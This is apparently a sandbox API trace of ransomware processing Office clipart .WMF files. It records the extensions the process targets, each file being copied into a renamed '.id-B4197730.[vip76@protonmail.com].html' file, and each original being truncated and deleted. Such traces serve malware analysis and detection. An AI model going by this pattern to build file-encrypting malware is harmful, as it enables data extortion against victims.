	[0071.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.146] lstrlenW (lpString=".doc") returned 4
	[0071.146] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.146] lstrlenW (lpString=".docx") returned 5
	[0071.146] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.146] lstrlenW (lpString=".pdf") returned 4
	[0071.146] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.146] lstrlenW (lpString=".xls") returned 4
	[0071.146] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.146] lstrlenW (lpString=".xlsx") returned 5
	[0071.146] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.146] lstrlenW (lpString=".ppt") returned 4
	[0071.146] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.147] lstrlenW (lpString=".zip") returned 4
	[0071.147] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.147] lstrlenW (lpString=".rar") returned 4
	[0071.147] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.147] lstrlenW (lpString=".bz2") returned 4
	[0071.147] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.147] lstrlenW (lpString=".7z") returned 3
	[0071.147] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.147] lstrlenW (lpString=".dbf") returned 4
	[0071.147] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.148] lstrlenW (lpString=".1cd") returned 4
	[0071.148] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.148] lstrlenW (lpString=".jpg") returned 4
	[0071.148] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.148] lstrlenW (lpString=".doc") returned 4
	[0071.148] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.148] lstrlenW (lpString=".docx") returned 5
	[0071.148] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.148] lstrlenW (lpString=".pdf") returned 4
	[0071.148] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.148] lstrlenW (lpString=".xls") returned 4
	[0071.148] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.148] lstrlenW (lpString=".xlsx") returned 5
	[0071.148] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.148] lstrlenW (lpString=".ppt") returned 4
	[0071.148] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.148] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.148] lstrlenW (lpString=".zip") returned 4
	[0071.148] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.148] lstrlenW (lpString=".rar") returned 4
	[0071.149] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.149] lstrlenW (lpString=".bz2") returned 4
	[0071.149] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.149] lstrlenW (lpString=".7z") returned 3
	[0071.149] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.149] lstrlenW (lpString=".dbf") returned 4
	[0071.149] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.149] lstrlenW (lpString=".1cd") returned 4
	[0071.149] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00853_.WMF") returned 68
	[0071.149] lstrlenW (lpString=".jpg") returned 4
	[0071.149] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.150] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.150] lstrlenW (lpString="AN01044_.WMF") returned 12
	[0071.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.151] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1596) returned 1
	[0071.151] CloseHandle (hObject=0x338) returned 1
	[0071.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 0x220
	[0071.151] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.151] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.151] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.152] GetLastError () returned 0x0
	[0071.152] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x63c, lpOverlapped=0x0) returned 1
	[0071.154] WriteFile (in: hFile=0x328, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x640, lpOverlapped=0x0) returned 1
	[0071.156] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.156] WriteFile (in: hFile=0x328, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.156] SetEndOfFile (hFile=0x328) returned 1
	[0071.156] CloseHandle (hObject=0x328) returned 1
	[0071.157] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.157] SetEndOfFile (hFile=0x338) returned 1
	[0071.158] CloseHandle (hObject=0x338) returned 1
	[0071.159] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01044_.wmf")) returned 1
	[0071.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.160] lstrlenW (lpString=".doc") returned 4
	[0071.160] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.160] lstrlenW (lpString=".docx") returned 5
	[0071.160] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.160] lstrlenW (lpString=".pdf") returned 4
	[0071.160] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.160] lstrlenW (lpString=".xls") returned 4
	[0071.160] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.160] lstrlenW (lpString=".xlsx") returned 5
	[0071.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.160] lstrlenW (lpString=".ppt") returned 4
	[0071.160] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.160] lstrlenW (lpString=".zip") returned 4
	[0071.160] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.161] lstrlenW (lpString=".rar") returned 4
	[0071.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.161] lstrlenW (lpString=".bz2") returned 4
	[0071.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.161] lstrlenW (lpString=".7z") returned 3
	[0071.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.161] lstrlenW (lpString=".dbf") returned 4
	[0071.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.161] lstrlenW (lpString=".1cd") returned 4
	[0071.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.161] lstrlenW (lpString=".jpg") returned 4
	[0071.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.161] lstrlenW (lpString=".doc") returned 4
	[0071.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.161] lstrlenW (lpString=".docx") returned 5
	[0071.161] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.161] lstrlenW (lpString=".pdf") returned 4
	[0071.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.162] lstrlenW (lpString=".xls") returned 4
	[0071.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.162] lstrlenW (lpString=".xlsx") returned 5
	[0071.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.162] lstrlenW (lpString=".ppt") returned 4
	[0071.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.162] lstrlenW (lpString=".zip") returned 4
	[0071.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.162] lstrlenW (lpString=".rar") returned 4
	[0071.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.162] lstrlenW (lpString=".bz2") returned 4
	[0071.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.162] lstrlenW (lpString=".7z") returned 3
	[0071.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.162] lstrlenW (lpString=".dbf") returned 4
	[0071.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.162] lstrlenW (lpString=".1cd") returned 4
	[0071.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01044_.WMF") returned 68
	[0071.162] lstrlenW (lpString=".jpg") returned 4
	[0071.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.163] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.163] lstrlenW (lpString="AN01060_.WMF") returned 12
	[0071.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.163] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=7968) returned 1
	[0071.163] CloseHandle (hObject=0x338) returned 1
	[0071.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220
	[0071.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.164] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.164] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.165] GetLastError () returned 0x0
	[0071.165] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1f20, lpOverlapped=0x0) returned 1
	[0071.167] WriteFile (in: hFile=0x328, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1f30, lpOverlapped=0x0) returned 1
	[0071.169] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.169] WriteFile (in: hFile=0x328, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.169] SetEndOfFile (hFile=0x328) returned 1
	[0071.169] CloseHandle (hObject=0x328) returned 1
	[0071.170] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.170] SetEndOfFile (hFile=0x338) returned 1
	[0071.171] CloseHandle (hObject=0x338) returned 1
	[0071.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.172] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1
	[0071.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.172] lstrlenW (lpString=".doc") returned 4
	[0071.172] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.172] lstrlenW (lpString=".docx") returned 5
	[0071.172] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.172] lstrlenW (lpString=".pdf") returned 4
	[0071.172] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.172] lstrlenW (lpString=".xls") returned 4
	[0071.172] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.172] lstrlenW (lpString=".xlsx") returned 5
	[0071.172] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.172] lstrlenW (lpString=".ppt") returned 4
	[0071.172] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.172] lstrlenW (lpString=".zip") returned 4
	[0071.172] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.172] lstrlenW (lpString=".rar") returned 4
	[0071.172] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString=".bz2") returned 4
	[0071.173] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString=".7z") returned 3
	[0071.173] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.173] lstrlenW (lpString=".dbf") returned 4
	[0071.173] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.173] lstrlenW (lpString=".1cd") returned 4
	[0071.173] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.173] lstrlenW (lpString=".jpg") returned 4
	[0071.173] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.173] lstrlenW (lpString=".doc") returned 4
	[0071.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString=".docx") returned 5
	[0071.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0071.173] lstrlenW (lpString=".pdf") returned 4
	[0071.173] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0071.173] lstrlenW (lpString=".xls") returned 4
	[0071.173] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0071.173] lstrlenW (lpString=".xlsx") returned 5
	[0071.173] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0071.173] lstrlenW (lpString=".ppt") returned 4
	[0071.173] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0071.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.174] lstrlenW (lpString=".zip") returned 4
	[0071.174] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0071.174] lstrlenW (lpString=".rar") returned 4
	[0071.174] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0071.174] lstrlenW (lpString=".bz2") returned 4
	[0071.174] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0071.174] lstrlenW (lpString=".7z") returned 3
	[0071.174] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0071.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.174] lstrlenW (lpString=".dbf") returned 4
	[0071.174] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0071.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.174] lstrlenW (lpString=".1cd") returned 4
	[0071.174] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0071.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68
	[0071.174] lstrlenW (lpString=".jpg") returned 4
	[0071.174] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0071.174] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0071.174] lstrlenW (lpString="AN01084_.WMF") returned 12
	[0071.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.175] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=1832) returned 1
	[0071.175] CloseHandle (hObject=0x338) returned 1
	[0071.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220
	[0071.175] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0071.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.175] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.175] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0071.176] GetLastError () returned 0x0
	[0071.176] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x728, lpOverlapped=0x0) returned 1
	[0071.177] WriteFile (in: hFile=0x328, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x730, lpOverlapped=0x0) returned 1
	[0071.178] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.178] WriteFile (in: hFile=0x328, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0071.179] SetEndOfFile (hFile=0x328) returned 1
	[0071.179] CloseHandle (hObject=0x328) returned 1
	[0071.180] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.180] SetEndOfFile (hFile=0x338) returned 1
	[0071.181] CloseHandle (hObject=0x338) returned 1
	[0071.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0071.655] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1
	[0071.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68
	[0071.688] lstrlenW (lpString=".doc") returned 4
